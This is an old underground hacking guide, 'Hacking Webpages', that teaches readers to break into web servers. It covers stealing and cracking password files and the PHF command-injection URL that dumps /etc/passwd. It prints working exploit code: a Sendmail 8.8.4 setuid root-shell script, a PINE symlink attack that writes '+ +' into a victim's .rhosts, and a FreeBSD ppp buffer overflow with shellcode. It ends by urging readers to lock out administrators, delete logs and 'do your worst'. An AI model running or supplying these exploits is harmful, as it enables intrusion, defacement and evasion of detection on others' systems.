Hacking Webpages
The Ultimate Guide
By Virtual Circuit and Psychotic

Well Psychotic wrote one of the most helpful unix text files in cyberspace but with the mail that we recieved after the release of our famous 36 page Unix Bible we realised that unix isn't for everybody so we decided that we should write on another aspect of hacking..... Virtual Circuit and Psychotic is proud to release, "Hacking Webpages With a few Other Techniques." We will discuss a few various ways of hacking webpages and getting root. We are also going to interview and question other REAL hackers on the subjects.

Getting the Password File Through FTP

Ok well one of the easiest ways of getting superuser access is through anonymous ftp access into a webpage. First you need learn a little about the password file...

```
root:User:d7Bdg:1n2HG2:1127:20:Superuser
TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh
```

This is an example of a regular encrypted password file. The Superuser is the part that gives you root. That's the main part of the file.

```
root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp
```

This is another example of a password file, only this one has one little difference, it's shadowed. Shadowed password files don't let you view or copy the actual encrypted password. This causes problems for the password cracker and dictionary maker(both explained later in the text). Below is another example of a shadowed password file:

```
root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
```

```
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false
```

Shadowed password files have an "x" in the place of a password or sometimes they are disguised as an * as well.

Now that you know a little more about what the actual password file looks like you should be able to identify a normal encrypted pw from a shadowed pw file. We can now go on to talk about how to crack it.

Cracking a password file isn't as complicated as it would seem, although the files vary from system to system. 1.The first step that you would take is to download or copy the file. 2. The second step is to find a password cracker and a dictionary maker. Although it's nearly impossible to find a good cracker there are a few ok ones out there. I recomend that you look for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper. Now for a dictionary maker or a dictionary file... When you start a cracking prog you will be asked to find the the password file. That's where a dictionary maker comes in. You can download one from nearly every hacker page on the net. A dictionary maker finds all the possible letter combinations with the alphabet that you choose(ASCII, caps, lowercase, and numeric letters may also be added) . We will be releasing our pasword file to the public soon, it will be called, Psychotic Candy, “The Perfect Drug.” As far as we know it will be one of the largest in circulation. 3. You then start up the cracker and follow the directions that it gives you.

The PHF Technique

Well I wasn't sure if I should include this section due to the fact that everybody already knows it and most servers have already found out about the bug and fixed it. But since I have been asked questions about the phf I decided to include it.

The phf technique is by far the easiest way of getting a password file(although it doesn't work 95% of the time). But to do the phf all you do is open a browser and type in the following link:

```
http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
```

You replace the webpage_goes_here with the domain. So if you were trying to get the pw file for www.webpage.com you would type:

```
http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
```

and that's it! You just sit back and copy the file(if it works).

Telnet and Exploits

Well exploits are the best way of hacking webpages but they are also more complicated then hacking through ftp or using the phf. Before you can setup an exploit you must first have a telnet proggie, there are many different clients you can just do a netsearch and find everything you need.

It's best to get an account with your target(if possible) and view the glitches from the inside out. Exploits expose errors or bugs in systems and usually allow you to gain root access. There are many different exploits around and you can view each seperately. I'm going to list a few below but the list of exploits is endless.

This exploit is known as Sendmail v.8.8.4
It creates a suid program /tmp/x that calls shell as root. This is how you set it up:

```
cat << _EOF_ >/tmp/x.c
 #define RUN "/bin/ksh"
 #include<stdio.h>
 main()
 {
    execl(RUN,RUN,NULL);
 }
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
 main()
 {
   execl("/usr/lib/sendmail","/tmp/smtpd",0);
 }
_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
 main()
 {
   setuid(0); setgid(0);
   system("chown root /tmp/x ;chmod 4755 /tmp/x");
 }
_EOF_
#
#
gcc -O  -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
   echo "leet..."
   /tmp/x
fi
```

and now on to another exploit. I'm going to display the pine exploit through linux. By watching the process table with ps to see which users are running PINE, one can then do an ls in /tmp/ to gather the lockfile names for each user. Watching the process table once again will now

reveal when each user quits PINE or runs out of unread messages in their INBOX, effectively deleting
 the respective lockfile.

 Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for a generic example) will cause PINE to create ~hamors/.rhosts as a 666 file with PINE's process id as its contents. One may now simply do an echo "+ +" > /tmp/.hamors_lockfile, then rm /tmp/.hamors_lockfile.

This was writen by Sean B. Hamor…For this example, hamors is the victim while catluvr is the attacker:

```
hamors (21 19:04) litterbox:~> pine

catluvr (6 19:06) litterbox:~> ps -aux | grep pine
catluvr   1739  0.0  1.8  100  356 pp3 S    19:07   0:00 grep pine
hamors    1732  0.8  5.7  249 1104 pp2 S    19:05   0:00 pine

catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
- -rw-rw-rw-   1 hamors   elite           4 Aug 26 19:05 .302.f5a4

catluvr (8 19:07) litterbox:~> ps -aux | grep pine
catluvr   1744  0.0  1.8  100  356 pp3 S    19:08   0:00 grep pine

catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4

hamors (23 19:09) litterbox:~> pine

catluvr (11 19:10) litterbox:~> ps -aux | grep pine
catluvr   1759  0.0  1.8  100  356 pp3 S    19:11   0:00 grep pine
hamors    1756  2.7  5.1  226  992 pp2 S    19:10   0:00 pine

catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4

catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
+ +

catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4

catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors
```

now on to another one, this will be the last one that I'm going to show. Exploitation script for the ppp vulnerbility as described by no one to date, this is NOT FreeBSD-SA-96:15. Works on
 FreeBSD as tested. Mess with the numbers if it doesnt work. This is how you set it up:

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFFER_SIZE     156     /* size of the bufer to overflow */

#define OFFSET          -290    /* number of bytes to jump after the start
```

```
                                  of the buffer */

long get_esp(void) { __asm__("movl %esp,%eax\n"); }

main(int argc, char *argv[])
{
        char *buf = NULL;
        unsigned long *addr_ptr = NULL;
        char *ptr = NULL;
        char execshell[] =
        "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */
        "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */
        "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"  /* 20 bytes */
        "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";    /* 15 bytes, 57 total
*/

        int i,j;

        buf = malloc(4096);

        /* fill start of bufer with nops */

        i = BUFFER_SIZE-strlen(execshell);

        memset(buf, 0x90, i);
        ptr = buf + i;

        /* place exploit code into the buffer */

        for(i = 0; i < strlen(execshell); i++)
                *ptr++ = execshell[i];

        addr_ptr = (long *)ptr;
        for(i=0;i < (104/4); i++)
                *addr_ptr++ = get_esp() + OFFSET;

        ptr = (char *)addr_ptr;
        *ptr = 0;

        setenv("HOME", buf, 1);

        execl("/usr/sbin/ppp", "ppp", NULL);
}
```

Now that you’ve gotten root “what’s next?” Well the choice is up to you but I would recommend changing the password before you delete or change anything. To change their password all you have to do is login via telnet and login with your new account. Then you just type: passwd and it will ask you for the old password first followed by the new one. Now only you will have the new pw and that should last for a while you can now upload you pages, delete all the logs and just plain do your worst☺ Psychotic writes our own exploits and we will be releasing them soon, so keep your eyes open for them. We recommend that if you are serious about learing ethnical hacking that you download our Unix Bible.

~~PSYCHOTIC~~